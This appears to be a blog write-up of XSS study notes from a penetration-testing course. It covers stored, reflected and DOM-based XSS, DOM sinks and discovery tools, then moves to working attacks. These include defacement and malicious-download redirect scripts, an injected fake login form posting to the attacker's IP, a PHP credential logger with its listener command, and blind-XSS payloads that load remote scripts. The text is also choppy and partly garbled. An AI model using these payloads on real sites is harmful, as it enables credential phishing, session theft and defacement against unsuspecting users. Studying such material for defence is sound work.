Introduction
A typical web application works by receiving the HTML code from the
back-end server and rendering it on the client-side internet browser.
When a vulnerable web application does not properly sanitize user input,
a malicious user can inject extra JavaScript code in an input field
(e.g., comment/reply/submit/feedback), so once another user views the same page, they
unknowingly execute the malicious JavaScript code. XSS vulnerabilities are solely executed on the client-side and hence do
not directly affect the back-end server. They can only affect the user
executing the vulnerability. The direct impact of XSS vulnerabilities on
the back-end server may be relatively low.
XSS Attacks
XSS vulnerabilities can facilitate a wide range of attacks, which can be
anything that can be executed through browser JavaScript code. A basic
example of an XSS attack is having the target user unwittingly send
their session cookie to the attacker's web server. Another example is having the target's browser execute API calls that
lead to a malicious action, like changing the user's password to a
password of the attacker's choosing. There are many other types of XSS
attacks. if a skilled researcher identifies a binary vulnerability in a web
browser (e.g., a Heap overflow in Chrome), they can utilize an XSS
vulnerability to execute a JavaScript exploit on the target's browser,
which eventually breaks out of the browser's sandbox and executes code
on the user's machine. There are three main types of XSS vulnerabilities:
Stored (Persistent) XSS |
The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments) |
Reflected (Non-Persistent) XSS |
Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message) |
DOM-based XSS |
Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags) |
We will cover each of these types in the upcoming sections and work through exercises to see how each of them occurs, and then we will also see how each of them can be utilized in attacks.
Stored XSS
Before we learn how to discover XSS vulnerabilities and utilize them for
various attacks, we must first understand the different types of XSS
vulnerabilities and their differences to know which to use in each kind
of attack. The first and most critical type of XSS vulnerability is
Stored XSS
or Persistent XSS
.
If our injected XSS payload gets stored in the back-end database and
retrieved upon visiting the page, this means that our XSS attack is
persistent and may affect any user that visits the page. This makes this type of XSS the most critical, as it affects a much
wider audience since any user who visits the page would be a victim of
this attack. Furthermore, Stored XSS may not be easily removable, and the payload may need removing from the back-end database. As we can see, our input was displayed on the page. If no sanitization
or filtering was applied to our input, the page might be vulnerable to
XSS.We can test whether the page is vulnerable to XSS with the following basic XSS payload:
We use this payload as it is a very easy-to-spot method to know when our
XSS payload has been successfully executed. Suppose the page allows any
input and does not perform any sanitization on it. In that case, the
alert should pop up .
As we can see, we did indeed get the alert, which means that the page is vulnerable to XSS, since our payload executed successfully. We can confirm this further by looking at the page source by clicking [
CTRL+U
] or right-clicking and selecting View Page Source
, and we should see our payload in the page source. As some modern browsers may block the alert()
JavaScript
function in specific locations, it may be handy to know a few other
basic XSS payloads to verify the existence of XSS. One such XSS payload
is <plaintext>.
Another easy-to-spot payload is <script>print()</script>
that will pop up the browser print dialog, which is unlikely to be blocked by any browsers. To see whether the payload is persistent and stored on the back-end, we
can refresh the page and see whether we get the alert again. confirming that this is indeed a Stored/Persistent XSS
vulnerability. This is not unique to us, as any user who visits the page will trigger the XSS payload and get the same alert. Reflected XSS
Reflected XSS
vulnerabilities occur when our input reaches
the back-end server and gets returned to us without being filtered or
sanitized. There are many cases in which our entire input might get
returned to us, like error messages or confirmation messages. In these
cases, we may attempt using XSS payloads to see whether they execute.
However, as these are usually temporary messages, once we move from the
page, they would not execute again, and hence they are Non-Persistent
. let see.Reflected
page again, the error message no
longer appears, and our XSS payload is not executed, which means that
this XSS vulnerability is indeed Non-Persistent
. notes: in store base xss the script store in the backend code when anyone visit this page he could see the script message but in reflect xss you can see this script messages as long as you remains here when you leave the page and visit again you can't see it again but in store base whenever you visit here and other they can see this script massages.
DOM XSS
The third and final type of XSS is another
Non-Persistent
type called DOM-based XSS
. While reflected XSS
sends the input data to the back-end server through HTTP requests, DOM
XSS is completely processed on the client-side through JavaScript. DOM
XSS occurs when JavaScript is used to change the page source through the
Document Object Model (DOM)
. The following are some of the main sinks that can lead to DOM-XSS vulnerabilities:document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:
add() after() append() animate() insertAfter() insertBefore()before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
If we try the XSS payload we have been using previously, we will see that it will not execute. This is because the
innerHTML
function does not allow the use of the <script>
tags within it as a security feature. Still, there are many other XSS payloads we use that do not contain <script>
tags, like the following XSS payload like: <onclick>, <image>, <mouseover>....etc. let seeXSS Discovery
we should have a good understanding of what an XSS vulnerability is, the
three types of XSS, and how each type differs from the others. We
should also understand how XSS works through injecting JavaScript code
into the client-side page source, thus executing additional code, which
we will later learn how to utilize to our advantage. In this section, we will go through various ways of detecting XSS vulnerabilities within a web application. XSS vulnerabilities are widespread, many tools can help us in detecting and identifying them.
Automated Discovery: Almost all Web Application Vulnerability Scanners (like Nessus, Burp Pro, or ZAP) have various capabilities for detecting all three types of XSS vulnerabilities. And Some of the common open-source tools that can assist us in XSS discovery are XSS Strike, Brute XSS, and XSSer.
Manual Discovery: it is difficulty of finding the XSS vulnerability depends on the level of security of the web application. Basic XSS vulnerabilities can usually be found through testing various XSS payloads, but identifying advanced XSS vulnerabilities requires advanced code review skills.The most basic method of looking for XSS vulnerabilities is manually testing various XSS payloads against an input field in a given web page. We can find huge lists of XSS payloads online, like the one on PayloadAllTheThings or the one in PayloadBox.
Code Review: The most reliable method of detecting XSS vulnerabilities is manual code review, which should cover both back-end and front-end code. If we understand precisely how our input is being handled all the way until it reaches the web browser, we can write a custom payload that should work with high confidence. manual code review may reveal undetected XSS vulnerabilities, which may survive public releases of common web applications. These are also advanced techniques that are out of the scope of this module. Still, if you are interested in learning them, the Secure Coding 101: JavaScript and the Whitebox Pentesting 101: Command Injection modules thoroughly cover this topic.
Defacing through XSS
One of the most common attacks usually used with stored XSS vulnerabilities is website defacing attacks.
Defacing
a website means changing its look for anyone who visits the website. It
is very common for hacker groups to deface a website to claim that they
had successfully hacked it. Such attacks can carry great media echo and may significantly affect a
company's investments and share prices, especially for banks and
technology firms. Although many other vulnerabilities may be utilized to achieve the same
thing, stored XSS vulnerabilities are among the most used
vulnerabilities for doing so. We can utilize injected JavaScript code (through XSS) to make a web page
look any way we like. However, defacing a website is usually used to
send a simple message (i.e., we successfully hacked you), so giving the
defaced web page a beautiful look isn't really the primary target. Four HTML elements are usually utilized to change the main look of a web page:- Background Color
document.body.style.background
- Background
document.body.background
- Page Title
document.title
- Page Text
DOM.innerHTML
EX: <script>document.body.style.background = "Red"</script> (We can use any other hex value, or can use a named color like
= "black"
.or "#141d2b")we also can provide a image instead of it host image in the online and give url like: <script>document.body.background = "https://../../../image.jpg"</script>
We can change the page title using the
document.title
JavaScript property:EX: <script>document.title = 'BYE BYE TATA YOU HACKED'</script>
When we want to change the text displayed on the web page, we can utilize various JavaScript functions for doing so. we can change the text of a specific HTML element/DOM using the
innerHTML
property: Ex: document.getElementById("todo").innerHTML = "New Text"
We can also utilize jQuery functions for more efficiently achieving the same thing.
not only this you can also redirect the page and directly download the malicious file. it's means whenever anyone visit the page he will be redirect to the another page or download the file.
Ex: <script> window.location.href = "https://www.google.com, Facebook.com. etc"; </script>
<script> window.location.href = "https://www.voidtools.com/Everything-1.4.1.1026.x86-Setup.exe"; </script>
look at the picture below. here we successfully changed the title, colors and upload a picture.
now let's see the phishing attack through the XSS.
phishing attack
Another very common type of XSS attack is a phishing attack. Phishing attacks usually utilize legitimate-looking information to trick the victims into sending their sensitive information to the attacker. A common form of XSS phishing attacks is through injecting fake login forms that send the login details to the attacker's server, which may then be used to log in on behalf of the victim and gain control over their account and sensitive information. Once we identify a working XSS payload, we can proceed to the phishing attack. To perform an XSS phishing attack, we must inject an HTML code that displays a login form on the targeted page. This form should send the login information to a server we are listening on, such that once a user attempts to log in, we'd get their credentials. We can easily find an HTML code for a basic login form, or we can write our own login form. In the above HTML code,
OUR_IP
is the IP of our VM, which we can find with the (ip a
) command under tun0
. We will later be listening on this IP to retrieve the credentials sent from the form. Next, we should prepare our XSS code and test it on the vulnerable form.
To write HTML code to the vulnerable page, we can use the JavaScript
function document.write()
, and use it in the XSS payload we
found earlier in the XSS Discovery step. Once we minify our HTML code
into a single line and add it inside the write
function, the final JavaScript code should be as follows:<script>document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');</script>
We can now inject this JavaScript code using our XSS payload (i.e., instead of running the
alert(window.origin)
JavaScript Code). see the screenshot. this is our fake log in html that is injected through the script.and lastly you can see when the victim trying to log in his credential capture. As we can see, we can capture the credentials in the HTTP request URL (
/?username=test&password=test
). If any victim attempts to log in with the form, we will get their credentials. However, as we are only listening with a netcat
listener, it will not handle the HTTP request correctly, and the victim would get an Unable to connect
error, which may raise some suspicions. So, we can use a basic PHP
script that logs the credentials from the HTTP request and then returns
the victim to the original page without any injections. In this case,
the victim may think that they successfully logged in and will use the
Image Viewer as intended. The following PHP script should do what we need, and we will write it to a file on our VM that we'll call index.php
and place it in /tmp/tmpserver/
(don't forget to replace SERVER_IP with the ip from our exercise
). server ip means your kali ip. and you can create this folder or not.you can create like this ┌──(kali㉿kali)-[~/Documents/phishing]
└─$ ls
creds.txt index.php
copy the log-in php file and paste it into the index.php. or you can find many codes in online.
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>and
now inject the script in the site and open your kali and try to listen by typing command:
sudo php -S 0.0.0.0:80 -t /home/kali/Documents/phishing/
and creds.txt files you will get all credentials .
Session Hijacking
Modern web applications utilize cookies to maintain a user's session
throughout different browsing sessions. This enables the user to only
log in once and keep their logged-in session alive even if they visit
the same website at another time or date. if a malicious user obtains the cookie data from the victim's browser,
they may be able to gain logged-in access with the victim's user without
knowing their credentials. With the ability to execute JavaScript code on the victim's browser, we
may be able to collect their cookies and send them to our server to
hijack their logged-in session by performing a
Session Hijacking
(aka Cookie Stealing
) attack. We usually start XSS attacks by trying to discover if and where an XSS vulnerability exists. A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to. Blind XSS vulnerabilities usually occur with forms only accessible by
certain users (e.g., Admins). Some potential examples include:- Contact Forms
- Reviews
- User Details
- Support Tickets
- HTTP User-Agent header
let's try to submit a
test
user to see how the form handles the data. As we can see, once we submit the form we get the following message: This indicates that we will not see how our input will be handled or how it will look in the browser since it will appear for the Admin only in a certain Admin Panel that we do not have access to. In normal cases, we can test each field until we get an
alert
box, like what we've been doing throughout the module. However, as we do not have access over the Admin panel in this case, how would we be able to detect an XSS vulnerability if we cannot see how the output is handled?
To do so, we can use the same trick we used in the previous section,
which is to use a JavaScript payload that sends an HTTP request back to
our server. If the JavaScript code gets executed, we will get a response
on our machine, and we will know that the page is indeed vulnerable. However, this introduces two issues:
-
How can we know which specific field is vulnerable?
Since any of the fields may execute our code, we can't know which of them did. -
How can we know what XSS payload to use?
Since the page may be vulnerable, but the payload may not work?
In HTML, we can write JavaScript code within the
<script>
tags, but we can also include a remote script by providing its URL, as follows: <script src="http://OUR_IP kali /script.js"></script>
before we going to test a contact form like this.
We can change the requested script name from
script.js
to
the name of the field we are injecting in, such that when we get the
request in our VM, we can identify the vulnerable input field that
executed the script, as follows:for username:<script src="http://OUR_IP/username"></script>
for email:<script src="http://OUR_IP/email"></script>
for phone numbers:<script src="http://OUR_IP/phone"></script>
for address:<script src="http://OUR_IP/address"></script>
for message:<script src="http://OUR_IP/message"></script>
after completing this open your VMware and start the server. if we get the response looks like get/field name. ex: GET/username or other fields name it's means it's vulnerable . With that, we can start testing various XSS payloads that load a remote script and see which of them sends us a request.
0 Comments
Thanks For your comment